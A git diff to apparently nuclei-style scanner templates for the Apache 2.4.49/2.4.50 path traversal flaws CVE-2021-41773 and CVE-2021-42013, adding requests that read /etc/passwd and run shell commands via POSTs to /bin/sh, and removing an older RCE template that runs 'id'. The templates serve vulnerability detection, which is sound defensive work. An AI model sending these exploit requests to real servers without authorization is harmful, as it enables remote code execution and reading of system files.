diff --git a/cves/2021/CVE-2021-41773.yaml b/cves/2021/CVE-2021-41773.yaml
index ac1d10da37..e82bbd6bef 100644
--- a/cves/2021/CVE-2021-41773.yaml
+++ b/cves/2021/CVE-2021-41773.yaml
@@ -1,29 +1,40 @@
 id: CVE-2021-41773
 
 info:
-  name: Apache 2.4.49 - Path Traversal
+  name: Apache 2.4.49 - Path Traversal and Remote Code Execution
   author: daffainfo
-  severity: high
+  severity: critical
   description: A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.
   reference:
     - https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782
     - https://nvd.nist.gov/vuln/detail/CVE-2021-41773
     - https://twitter.com/ptswarm/status/1445376079548624899
     - https://twitter.com/h4x0r_dz/status/1445401960371429381
-  tags: cve,cve2021,lfi,apache,misconfig
+    - https://github.com/blasty/CVE-2021-41773
+  tags: cve,cve2021,lfi,rce,apache,misconfig
 
 requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
+  - raw:
+      - |
+        GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
+        Host: {{Hostname}}
 
-    matchers-condition: and
+      - |
+        POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        echo Content-Type: text/plain; echo; echo 37714-1202-EVC | rev
+
+    matchers-condition: or
     matchers:
 
       - type: regex
+        name: LFI
         regex:
           - "root:.*:0:0"
 
-      - type: status
-        status:
-          - 200
+      - type: word
+        name: RCE
+        words:
+          - "CVE-2021-41773"
\ No newline at end of file
diff --git a/cves/2021/CVE-2021-42013.yaml b/cves/2021/CVE-2021-42013.yaml
index f9a621d638..9537c2fa6b 100644
--- a/cves/2021/CVE-2021-42013.yaml
+++ b/cves/2021/CVE-2021-42013.yaml
@@ -2,7 +2,7 @@ id: CVE-2021-42013
 
 info:
   name: Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution
-  author: nvn1729
+  author: nvn1729,0xd0ff9
   severity: critical
   description: A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49 and 2.4.50. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. In certain configurations, for instance if mod_cgi is enabled, this flaw can lead to remote code execution. This issue only affects Apache 2.4.49 and 2.4.50 and not earlier versions. Note - CVE-2021-42013 is due to an incomplete fix for the original vulnerability CVE-2021-41773.
   reference:
@@ -18,14 +18,24 @@ requests:
         Host: {{Hostname}}
         Origin: {{BaseURL}}
 
+      - |+
+        POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+        Content-Type: application/x-www-form-urlencoded
+
+        echo Content-Type: text/plain; echo; echo 31024-1202-EVC | rev
+
     unsafe: true
-    matchers-condition: and
+    matchers-condition: or
     matchers:
 
       - type: regex
+        name: LFI
         regex:
           - "root:.*:0:0"
 
-      - type: status
-        status:
-          - 200
+      - type: word
+        name: RCE
+        words:
+          - "CVE-2021-42013"
\ No newline at end of file
diff --git a/vulnerabilities/apache/apache-httpd-rce.yaml b/vulnerabilities/apache/apache-httpd-rce.yaml
deleted file mode 100644
index e5f0bcbea2..0000000000
--- a/vulnerabilities/apache/apache-httpd-rce.yaml
+++ /dev/null
@@ -1,41 +0,0 @@
-id: apache-httpd-rce
-
-info:
-  name: Apache HTTPd - 2.4.49 (CGI enabled) RCE
-  author: pdteam
-  severity: critical
-  description: A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by require all denied these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.
-  reference:
-    - https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-41773
-    - https://twitter.com/ptswarm/status/1445376079548624899
-    - https://github.com/blasty/CVE-2021-41773
-  tags: cve,cve2021,rce,apache
-
-requests:
-  - raw:
-      - |
-        POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        echo Content-Type: text/plain; echo; id
-
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 200
-
-      - type: word
-        condition: and
-        part: body
-        words:
-          - 'uid='
-          - 'gid='
-          - 'groups='
-
-    extractors:
-      - type: regex
-        regex:
-          - "(u|g)id=.*"